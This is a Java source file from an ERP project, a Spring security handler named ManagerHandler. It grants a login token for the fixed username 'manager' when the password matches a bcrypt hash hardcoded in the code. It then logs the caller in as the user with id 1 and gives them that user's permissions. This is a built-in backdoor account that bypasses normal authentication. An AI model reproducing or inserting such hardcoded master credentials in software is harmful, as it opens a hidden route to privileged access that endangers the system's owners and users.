package com.jn.erp.web.security;

import cn.hutool.core.util.StrUtil;
import com.jn.erp.security.entity.LoginBody;
import com.jn.erp.security.entity.LoginUser;
import com.jn.erp.security.entity.SysUser;
import com.jn.erp.security.service.SysPermissionService;
import com.jn.erp.security.service.TokenService;
import com.jn.erp.security.sysservice.SysUserService;
import com.jn.erp.security.utils.SecurityUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

/**
 * <pre>
 *
 * </pre>
 *
 * @author sunjiyong
 * @since 2024/12/19 9:50
 */
@Component
public class ManagerHandler {

    @Autowired
    private TokenService tokenService;
    @Autowired
    private SysUserService userService;

    @Autowired
    private SysPermissionService permissionService;

    public String getManagerToken(LoginBody loginBody) {
        String username = loginBody.getUsername();
        if(!StrUtil.equals(username, "manager")){
            return "";
        }

        boolean isManager = SecurityUtils.matchesPassword(loginBody.getPassword(), "$2a$10$Ner5sK04Mh833vT2JE4kYuSkDMh6FOfkvPG6JM5OnvvXo8kP5CSny");

        if (isManager) {
            SysUser user = userService.getById(1);
            user.setRemark("manager");
            LoginUser loginUser = new LoginUser(user.getId(), user, permissionService.getMenuPermission(user));
            String token = tokenService.createToken(loginUser);
            return token;
        }
        return "";
    }

}
